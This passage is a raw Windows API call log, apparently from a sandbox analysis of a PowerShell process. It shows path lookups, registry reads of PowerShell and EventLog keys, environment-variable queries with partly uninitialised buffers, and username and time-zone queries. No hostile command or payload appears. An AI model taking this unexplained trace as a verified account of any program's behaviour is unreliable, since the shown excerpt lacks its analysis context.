lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x427de58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0088.982] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0088.982] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0088.983] CoTaskMemFree (pv=0x42c9ac0) [0088.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x427de58, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0089.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e378 | out: phkResult=0x427e378*=0x278) returned 0x0 [0089.012] RegQueryValueExW (in: hKey=0x278, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e398, lpData=0x0, lpcbData=0x427e394*=0x0 | out: lpType=0x427e398*=0x1, lpData=0x0, lpcbData=0x427e394*=0x56) returned 0x0 [0089.012] RegQueryValueExW (in: hKey=0x278, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e398, lpData=0x66a2780, lpcbData=0x427e394*=0x56 | out: lpType=0x427e398*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x427e394*=0x56) returned 0x0 [0089.012] RegCloseKey (hKey=0x278) returned 0x0 [0089.012] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0089.015] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0089.015] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x42c9ac0, nSize=0x104 | out: lpBuffer="\xbbb0\x439\x3848\x439\x72\x6f\x67\x72\x61\x6d\x20\x46\x69\x6c\x65\x73\x20\x28\x78\x38\x36\x29") returned 0x0 [0089.015] CoTaskMemFree (pv=0x42c9ac0) [0089.385] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0089.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x42c9ac0, nSize=0x104 | out: lpBuffer="\xba28\x436\x3848\x439") returned 0x0 [0089.385] CoTaskMemFree (pv=0x42c9ac0) [0089.413] CoTaskMemAlloc (cb=0x20c) returned 0x439dbb8 [0089.413] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x439dbb8, nSize=0x104 | out: lpBuffer="\xba28\x436\x3848\x439\x35\x32\x35\x33\x34\x31\x33\x31\x30\x30\x30\x34\x30\x30\x30\x30\x30\x31\x30\x30\x30\x31\x30\x30\x62\x35\x66\x63\x39\x30\x65\x37\x30\x32\x37\x66\x36\x37\x38\x37\x31\x65\x37\x37\x33\x61\x38\x66\x64\x65\x38\x39\x33\x38\x63\x38\x31\x64\x64\x34\x30\x32\x62\x61\x36\x35\x62\x39\x32\x30\x31\x64\x36\x30\x35\x39\x33\x65\x39\x36\x63\x34\x39\x32\x36\x35\x31\x65\x38\x38\x39\x63\x63\x31\x33\x66\x31\x34\x31\x35\x65\x62\x62\x35\x33\x66\x61\x63\x31\x31\x33\x31\x61\x65\x30\x62\x64\x33\x33\x33\x63\x35\x65\x65\x36\x30\x32\x31\x36\x37\x32\x64\x39\x37\x31\x38\x65\x61\x33\x31\x61\x38\x61\x65\x62\x64\x30\x64\x61\x30\x30\x37\x32\x66\x32\x35\x64\x38\x37\x64\x62\x61\x36\x66\x63\x39\x30\x66\x66\x64\x35\x39\x38\x65\x64\x34\x64\x61\x33\x35\x65\x34\x34\x63\x33\x39\x38\x63\x34\x35\x34\x33\x30\x37\x65\x38\x65\x33\x33\x62\x38\x34\x32\x36\x31\x34\x33\x64\x61\x65\x63\x39\x66\x35\x39\x36\x38\x33\x36\x66\x39\x37\x63\x38\x66\x37\x34\x37\x35\x30\x65\x35\x39\x37\x35\x63\x36\x34\x65\x32\x31\x38\x39\x66\x34\x35\x64\x65\x66\x34\x36\x62\x32\x61\x32\x62") returned 0x0 [0089.413] CoTaskMemFree (pv=0x439dbb8) [0089.489] CoTaskMemAlloc (cb=0x210) returned 0x439dbb8 [0089.489] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x439dbb8, nSize=0x106 | out: lpBuffer="\xba28\x436\x3848\x439\x35\x32\x35\x33\x34\x31\x33\x31\x30\x30\x30\x34\x30\x30\x30\x30\x30\x31\x30\x30\x30\x31\x30\x30\x62\x35\x66\x63\x39\x30\x65\x37\x30\x32\x37\x66\x36\x37\x38\x37\x31\x65\x37\x37\x33\x61\x38\x66\x64\x65\x38\x39\x33\x38\x63\x38\x31\x64\x64\x34\x30\x32\x62\x61\x36\x35\x62\x39\x32\x30\x31\x64\x36\x30\x35\x39\x33\x65\x39\x36\x63\x34\x39\x32\x36\x35\x31\x65\x38\x38\x39\x63\x63\x31\x33\x66\x31\x34\x31\x35\x65\x62\x62\x35\x33\x66\x61\x63\x31\x31\x33\x31\x61\x65\x30\x62\x64\x33\x33\x33\x63\x35\x65\x65\x36\x30\x32\x31\x36\x37\x32\x64\x39\x37\x31\x38\x65\x61\x33\x31\x61\x38\x61\x65\x62\x64\x30\x64\x61\x30\x30\x37\x32\x66\x32\x35\x64\x38\x37\x64\x62\x61\x36\x66\x63\x39\x30\x66\x66\x64\x35\x39\x38\x65\x64\x34\x64\x61\x33\x35\x65\x34\x34\x63\x33\x39\x38\x63\x34\x35\x34\x33\x30\x37\x65\x38\x65\x33\x33\x62\x38\x34\x32\x36\x31\x34\x33\x64\x61\x65\x63\x39\x66\x35\x39\x36\x38\x33\x36\x66\x39\x37\x63\x38\x66\x37\x34\x37\x35\x30\x65\x35\x39\x37\x35\x63\x36\x34\x65\x32\x31\x38\x39\x66\x34\x35\x64\x65\x66\x34\x36\x62\x32\x61\x32\x62\x31") returned 0x0 [0089.489] CoTaskMemFree (pv=0x439dbb8) [0089.667] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e218 | out: phkResult=0x427e218*=0x4bc) returned 0x0 [0089.668] RegQueryInfoKeyW (in: hKey=0x4bc, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x427e268, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e264, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x427e268*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e264*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x0, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x1, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x2, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x3, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x4, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x5, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x6, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.668] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x7, lpName=0x654b9cc, lpcchName=0x427e284, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x427e284, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.669] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.669] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.669] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.669] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.669] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.669] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.669] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.669] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.670] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.670] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.670] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.670] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x0) returned 0x2 [0089.670] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.670] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x4b0) returned 0x0 [0089.671] RegOpenKeyExW (in: hKey=0x4b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e244 | out: phkResult=0x427e244*=0x278) returned 0x0 [0089.671] RegCloseKey (hKey=0x278) returned 0x0 [0089.671] RegCloseKey (hKey=0x4bc) returned 0x0 [0089.671] RegCloseKey (hKey=0x4b0) returned 0x0 [0089.725] CoTaskMemAlloc (cb=0x804) returned 0x43ad0e0 [0089.725] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x43ad0e0, nSize=0x427e334 | out: lpNameBuffer="LHNIWSJ\\CIiHmnxMn6Ps", nSize=0x427e334) returned 0x1 [0089.726] CoTaskMemFree (pv=0x43ad0e0) [0089.727] GetUserNameW (in: lpBuffer=0x427e0c8, pcbBuffer=0x427e340 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x427e340) returned 1 [0089.727] GetTimeZoneInformation (in: lpTimeZoneInformation=0x427e144 | out: lpTimeZoneInformation=0x427e144) returned 0x2 [0090.040] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1f0 | out: phkResult=0x427e1f0*=0x4bc) returned 0x0 [0090.040] RegQueryInfoKeyW (in: hKey=0x4bc, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x427e240, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e23c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x427e240*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e23c*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.040] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x0, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.040] CoTaskMemFree (pv=0x0) [0090.040] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x1, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.040] CoTaskMemFree (pv=0x0) [0090.040] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x2, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.040] CoTaskMemFree (pv=0x0) [0090.040] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x3, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.041] CoTaskMemFree (pv=0x0) [0090.041] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x4, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.041] CoTaskMemFree (pv=0x0) [0090.041] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x5, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.041] CoTaskMemFree (pv=0x0) [0090.041] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x6, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.041] CoTaskMemFree (pv=0x0) [0090.041] RegEnumKeyExW (in: hKey=0x4bc, dwIndex=0x7, lpName=0x6556d3c, lpcchName=0x427e25c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x427e25c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.041] CoTaskMemFree (pv=0x0) [0090.041] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.041] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.041] RegCloseKey (hKey=0x278) returned 0x0 [0090.041] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.041] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.041] RegCloseKey (hKey=0x278) returned 0x0 [0090.041] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.041] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.041] RegCloseKey (hKey=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.042] RegCloseKey (hKey=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.042] RegCloseKey (hKey=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.042] RegCloseKey (hKey=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x0) returned 0x2 [0090.042] RegCloseKey (hKey=0x278) returned 0x0 [0090.042] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x278) returned 0x0 [0090.043] RegOpenKeyExW (in: hKey=0x278, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e21c | out: phkResult=0x427e21c*=0x508) returned 0x0 [0090.043] RegCloseKey (hKey=0x508) returned 0x0 [0090.043] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.043] RegCloseKey (hKey=0x278) returned 0x0 [0090.043] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1fc | out: phkResult=0x427e1fc*=0x278) returned 0x0 [0090.043] RegQueryInfoKeyW (in: hKey=0x278, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x427e24c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e248, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x427e24c*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x427e248*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x0, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x1, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x2, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x3, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x4, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x5, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.043] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x6, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.043] CoTaskMemFree (pv=0x0) [0090.044] RegEnumKeyExW (in: hKey=0x278, dwIndex=0x7, lpName=0x6557d48, lpcchName=0x427e268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x427e268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0090.044] CoTaskMemFree (pv=0x0) [0090.044] RegOpenKeyExW (in: hKey=0x278, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.044] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x278, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.044] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x278, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.044] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x278, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.044] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.044] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x278, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.045] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x278, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.045] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x278, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 | out: phkResult=0x427e228*=0x0) returned 0x2 [0090.045] RegCloseKey (hKey=0x4bc) returned 0x0 [0090.045] RegOpenKeyExW (in: hKey=0x278, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e228 